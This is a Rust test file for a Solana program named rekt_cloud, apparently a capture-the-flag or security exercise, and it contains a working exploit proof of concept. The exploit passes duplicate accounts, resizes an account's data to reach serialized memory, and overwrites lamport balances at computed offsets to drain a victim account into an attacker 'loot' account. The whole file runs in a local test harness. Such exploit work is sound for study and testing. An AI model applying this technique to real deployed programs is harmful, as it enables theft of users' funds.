-
Notifications
You must be signed in to change notification settings - Fork 0
/
test_rekt.rs
127 lines (111 loc) · 5.86 KB
/
test_rekt.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
use borsh::BorshSerialize;
use rekt_cloud::{Update, Action};
use solana_program::{system_instruction, instruction::AccountMeta, entrypoint::MAX_PERMITTED_DATA_INCREASE};
use solana_program_test::*;
use solana_sdk::{instruction::Instruction, signature::Keypair, signer::Signer, transaction::Transaction};
pub async fn process_transaction(
context: &mut ProgramTestContext,
instructions: &[Instruction],
signers: &[&Keypair],
) -> Result<(), BanksClientError> {
let recent_blockhash = context.banks_client.get_latest_blockhash().await?;
let mut all_signers = vec![&context.payer];
all_signers.extend_from_slice(signers);
let transaction = Transaction::new_signed_with_payer(
&instructions,
Some(&context.payer.pubkey()),
&all_signers,
recent_blockhash,
);
context.banks_client.process_transaction(transaction).await
}
#[tokio::test]
async fn test_rekt() {
let pt = ProgramTest::new("rekt_cloud", rekt_cloud::ID, None);
let mut context = pt.start_with_context().await;
let rent = context.banks_client.get_rent().await.unwrap();
let rekt_user_keypair = Keypair::new();
let update = Update {
actions: vec![Action::Initialize],
};
let space: usize = 1_000_000;
let rekt_storage_rent = rent.minimum_balance(space);
let rekt_storage_keypair = Keypair::new();
let payer_address = context.payer.pubkey().clone();
// Rekt user creates a storage of many bytes on rekt cloud
process_transaction(
&mut context,
&[
system_instruction::create_account(&payer_address, &rekt_storage_keypair.pubkey(), rekt_storage_rent, space as u64, &rekt_cloud::ID),
Instruction {
program_id: rekt_cloud::ID,
accounts: vec![
AccountMeta::new_readonly(rekt_user_keypair.pubkey(), true),
AccountMeta::new(rekt_storage_keypair.pubkey(), false),
],
data: update.try_to_vec().unwrap(),
}
],
&[&rekt_user_keypair, &rekt_storage_keypair],
)
.await
.unwrap();
// pawn
// We want to 0 the rekt storage lamports and set a recipient lamports to rekt storage lamports
// We cannot directly use the payer as repeated accounts are not duplicated in memory so we send it somewhere else we also control
// https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316
let attacker_storage = Keypair::new();
let attacker_loot_keypair = Keypair::new();
let attacker_storage_rent = rent.minimum_balance(32);
let rekt_storage_pre_lamports = context.banks_client.get_balance(rekt_storage_keypair.pubkey()).await.unwrap();
let expected_lamports_after_drain = rekt_storage_pre_lamports;
let rekt_storage_account_lamports_offset: u64 = 32 + MAX_PERMITTED_DATA_INCREASE as u64 + // end of attacker storage data
8 + // align (none) + rent
(1 + 7) * 4 + // 4 duplicate attacker storage accounts
1 + 1 + 1 + 1 + 4 + 2 * 32; // all the way to account lamports
// Where did the last account go?!?
let attacker_loot_lamports_offset: u64 = rekt_storage_account_lamports_offset +
8 + 8 + space as u64 + MAX_PERMITTED_DATA_INCREASE as u64 + // end of attacker loot data
8 + // all the way to the end of rekt storage account
1 + 1 + 1 + 1 + 4 + 2 * 32; // all the way to account lamports
println!("{} {}", rekt_storage_account_lamports_offset, attacker_loot_lamports_offset);
let update_to_pawn = Update {
actions: vec![
Action::Initialize,
Action::Resize { size: 100_000_000 }, // data_len to have raw data access to all accounts, hopefully landing nowhere useful not breaking anything
Action::Write { offset: rekt_storage_account_lamports_offset, data: 0u64.to_le_bytes().to_vec() }, // Write rekt storage lamports to 0
Action::Write { offset: attacker_loot_lamports_offset, data: expected_lamports_after_drain.to_le_bytes().to_vec() }, // Write attacker lamports to += original_rekt_storage.lamports expected_lamports_after_drain.to_le_bytes().to_vec()
Action::Resize { size: 32 }, // Write back the reasonable data_len we are paying rent for
],
};
println!("rekt storage pubkey bytes {:?}, initial lamports bytes {:?}", rekt_storage_keypair.pubkey().to_bytes(), rekt_storage_pre_lamports.to_le_bytes());
println!("attacker loot pubkey {}, pubkey bytes {:?}", attacker_loot_keypair.pubkey(), attacker_loot_keypair.pubkey().to_bytes());
process_transaction(
&mut context,
&[
system_instruction::create_account(&payer_address, &attacker_storage.pubkey(), attacker_storage_rent, 32, &rekt_cloud::ID),
Instruction {
program_id: rekt_cloud::ID,
accounts: vec![
AccountMeta::new_readonly(payer_address, true),
AccountMeta::new(attacker_storage.pubkey(), false),
AccountMeta::new(attacker_storage.pubkey(), false),
AccountMeta::new(attacker_storage.pubkey(), false),
AccountMeta::new(attacker_storage.pubkey(), false),
AccountMeta::new(attacker_storage.pubkey(), false),
// The trailing rekt storage the program writes to by accident
AccountMeta::new(rekt_storage_keypair.pubkey(), false),
// The trailing attacker loot that will receive the stolen lamports
AccountMeta::new(attacker_loot_keypair.pubkey(), false),
],
data: update_to_pawn.try_to_vec().unwrap(),
}
],
&[&attacker_storage],
)
.await
.unwrap();
let stolen_lamports = context.banks_client.get_balance(attacker_loot_keypair.pubkey()).await.unwrap();
println!("Stolen lamports: {}", stolen_lamports);
// Done
}